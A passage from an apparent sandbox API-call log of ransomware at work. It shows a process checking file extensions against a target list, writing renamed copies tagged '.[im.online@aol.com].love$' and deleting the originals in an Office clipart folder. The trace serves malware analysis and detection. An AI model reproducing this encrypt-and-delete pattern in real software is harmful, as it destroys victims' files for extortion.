Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0243.700] lstrlenW (lpString=".doc") returned 4 [0243.700] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.700] lstrlenW (lpString=".docx") returned 5 [0243.700] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.700] lstrlenW (lpString=".pdf") returned 4 [0243.700] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.700] lstrlenW (lpString=".xls") returned 4 [0243.700] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.700] lstrlenW (lpString=".xlsx") returned 5 [0243.700] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.700] lstrlenW (lpString=".ppt") returned 4 [0243.700] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0243.700] lstrlenW (lpString=".zip") returned 4 [0243.700] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.700] lstrlenW (lpString=".rar") returned 4 [0243.701] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.701] lstrlenW (lpString=".bz2") returned 4 [0243.701] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.701] lstrlenW (lpString=".7z") returned 3 [0243.701] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0243.701] lstrlenW (lpString=".dbf") returned 4 [0243.701] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0243.701] lstrlenW (lpString=".1cd") returned 4 [0243.701] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0243.701] lstrlenW (lpString=".jpg") returned 4 [0243.701] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0243.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0243.701] lstrlenW (lpString=".doc") returned 4 [0243.701] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.701] lstrlenW (lpString=".docx") returned 5 [0243.701] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.701] lstrlenW (lpString=".pdf") returned 4 [0243.701] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.701] lstrlenW (lpString=".xls") returned 4 [0243.701] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.701] lstrlenW (lpString=".xlsx") returned 5 [0243.701] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.702] lstrlenW (lpString=".ppt") returned 4 [0243.702] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0243.702] lstrlenW (lpString=".zip") returned 4 [0243.702] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.702] lstrlenW (lpString=".rar") returned 4 [0243.702] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.702] lstrlenW (lpString=".bz2") returned 4 [0243.702] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.702] lstrlenW (lpString=".7z") returned 3 [0243.702] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0243.702] lstrlenW (lpString=".dbf") returned 4 [0243.702] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0243.702] lstrlenW (lpString=".1cd") returned 4 [0243.702] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0243.702] lstrlenW (lpString=".jpg") returned 4 [0243.702] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.702] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0243.702] lstrlenW (lpString="DD01181_.WMF") returned 12 [0243.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0243.703] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=1448) returned 1 [0243.703] CloseHandle (hObject=0x4e8) returned 1 [0243.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf")) returned 0x220 [0243.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0243.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0243.704] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.704] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0243.705] GetLastError () returned 0x0 [0243.706] ReadFile (in: hFile=0x4e8, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x5a8, lpOverlapped=0x0) returned 1 [0243.708] WriteFile (in: hFile=0x544, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x5b0, lpOverlapped=0x0) returned 1 [0243.710] ReadFile (in: hFile=0x4e8, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0243.710] WriteFile (in: hFile=0x544, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0243.710] SetEndOfFile (hFile=0x544) returned 1 [0243.710] CloseHandle (hObject=0x544) returned 1 [0243.710] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.710] SetEndOfFile (hFile=0x4e8) returned 1 [0243.714] CloseHandle (hObject=0x4e8) returned 1 [0243.715] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0243.715] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf")) returned 1 [0243.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0243.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0243.716] lstrlenW (lpString=".doc") returned 4 [0243.716] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.716] lstrlenW (lpString=".docx") returned 5 [0243.716] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.716] lstrlenW (lpString=".pdf") returned 4 [0243.716] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.716] lstrlenW (lpString=".xls") returned 4 [0243.717] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.717] lstrlenW (lpString=".xlsx") returned 5 [0243.717] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.717] lstrlenW (lpString=".ppt") returned 4 [0243.717] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0243.717] lstrlenW (lpString=".zip") returned 4 [0243.717] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.717] lstrlenW (lpString=".rar") returned 4 [0243.717] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.717] lstrlenW (lpString=".bz2") returned 4 [0243.717] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.717] lstrlenW (lpString=".7z") returned 3 [0243.717] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0243.717] lstrlenW (lpString=".dbf") returned 4 [0243.717] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0243.717] lstrlenW (lpString=".1cd") returned 4 [0243.717] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0243.717] lstrlenW (lpString=".jpg") returned 4 [0243.717] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0243.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0243.717] lstrlenW (lpString=".doc") returned 4 [0243.717] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.718] lstrlenW (lpString=".docx") returned 5 [0243.718] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.718] lstrlenW (lpString=".pdf") returned 4 [0243.718] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.718] lstrlenW (lpString=".xls") returned 4 [0243.718] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.718] lstrlenW (lpString=".xlsx") returned 5 [0243.718] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.718] lstrlenW (lpString=".ppt") returned 4 [0243.718] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0243.718] lstrlenW (lpString=".zip") returned 4 [0243.718] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.718] lstrlenW (lpString=".rar") returned 4 [0243.718] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.718] lstrlenW (lpString=".bz2") returned 4 [0243.718] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.718] lstrlenW (lpString=".7z") returned 3 [0243.718] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0243.718] lstrlenW (lpString=".dbf") returned 4 [0243.718] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0243.718] lstrlenW (lpString=".1cd") returned 4 [0243.718] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0243.718] lstrlenW (lpString=".jpg") returned 4 [0243.718] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.719] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0243.719] lstrlenW (lpString="DD01182_.WMF") returned 12 [0243.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0243.720] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=2996) returned 1 [0243.720] CloseHandle (hObject=0x4e8) returned 1 [0243.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf")) returned 0x220 [0243.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0243.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0243.720] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.720] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0243.722] GetLastError () returned 0x0 [0243.722] ReadFile (in: hFile=0x4e8, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0xbb4, lpOverlapped=0x0) returned 1 [0243.739] WriteFile (in: hFile=0x544, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xbc0, lpOverlapped=0x0) returned 1 [0243.740] ReadFile (in: hFile=0x4e8, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0243.740] WriteFile (in: hFile=0x544, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0243.740] SetEndOfFile (hFile=0x544) returned 1 [0243.741] CloseHandle (hObject=0x544) returned 1 [0243.741] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.741] SetEndOfFile (hFile=0x4e8) returned 1 [0243.744] CloseHandle (hObject=0x4e8) returned 1 [0243.744] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0243.745] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf")) returned 1 [0244.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0244.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0244.077] lstrlenW (lpString=".doc") returned 4 [0244.077] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.077] lstrlenW (lpString=".docx") returned 5 [0244.077] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.077] lstrlenW (lpString=".pdf") returned 4 [0244.077] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.077] lstrlenW (lpString=".xls") returned 4 [0244.077] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.077] lstrlenW (lpString=".xlsx") returned 5 [0244.077] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.077] lstrlenW (lpString=".ppt") returned 4 [0244.077] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0244.077] lstrlenW (lpString=".zip") returned 4 [0244.077] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.077] lstrlenW (lpString=".rar") returned 4 [0244.077] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.077] lstrlenW (lpString=".bz2") returned 4 [0244.077] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.077] lstrlenW (lpString=".7z") returned 3 [0244.078] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0244.078] lstrlenW (lpString=".dbf") returned 4 [0244.078] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0244.078] lstrlenW (lpString=".1cd") returned 4 [0244.078] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0244.078] lstrlenW (lpString=".jpg") returned 4 [0244.078] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0244.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0244.078] lstrlenW (lpString=".doc") returned 4 [0244.078] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.078] lstrlenW (lpString=".docx") returned 5 [0244.078] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.078] lstrlenW (lpString=".pdf") returned 4 [0244.078] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.078] lstrlenW (lpString=".xls") returned 4 [0244.078] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.078] lstrlenW (lpString=".xlsx") returned 5 [0244.078] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.078] lstrlenW (lpString=".ppt") returned 4 [0244.078] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0244.078] lstrlenW (lpString=".zip") returned 4 [0244.078] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.078] lstrlenW (lpString=".rar") returned 4 [0244.078] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.079] lstrlenW (lpString=".bz2") returned 4 [0244.079] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.079] lstrlenW (lpString=".7z") returned 3 [0244.079] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0244.079] lstrlenW (lpString=".dbf") returned 4 [0244.079] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0244.079] lstrlenW (lpString=".1cd") returned 4 [0244.079] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0244.079] lstrlenW (lpString=".jpg") returned 4 [0244.079] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.079] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0244.079] lstrlenW (lpString="DD01585_.WMF") returned 12 [0244.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0244.080] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=2524) returned 1 [0244.080] CloseHandle (hObject=0x4e8) returned 1 [0244.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf")) returned 0x220 [0244.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0244.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0244.081] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.081] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0244.082] GetLastError () returned 0x0 [0244.082] ReadFile (in: hFile=0x4e8, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x9dc, lpOverlapped=0x0) returned 1 [0244.085] WriteFile (in: hFile=0x388, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x9e0, lpOverlapped=0x0) returned 1 [0244.086] ReadFile (in: hFile=0x4e8, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0244.086] WriteFile (in: hFile=0x388, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0244.086] SetEndOfFile (hFile=0x388) returned 1 [0244.087] CloseHandle (hObject=0x388) returned 1 [0244.087] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.087] SetEndOfFile (hFile=0x4e8) returned 1 [0244.090] CloseHandle (hObject=0x4e8) returned 1 [0244.091] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0244.091] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf")) returned 1 [0244.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0244.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0244.092] lstrlenW (lpString=".doc") returned 4 [0244.092] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.092] lstrlenW (lpString=".docx") returned 5 [0244.092] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.092] lstrlenW (lpString=".pdf") returned 4 [0244.093] 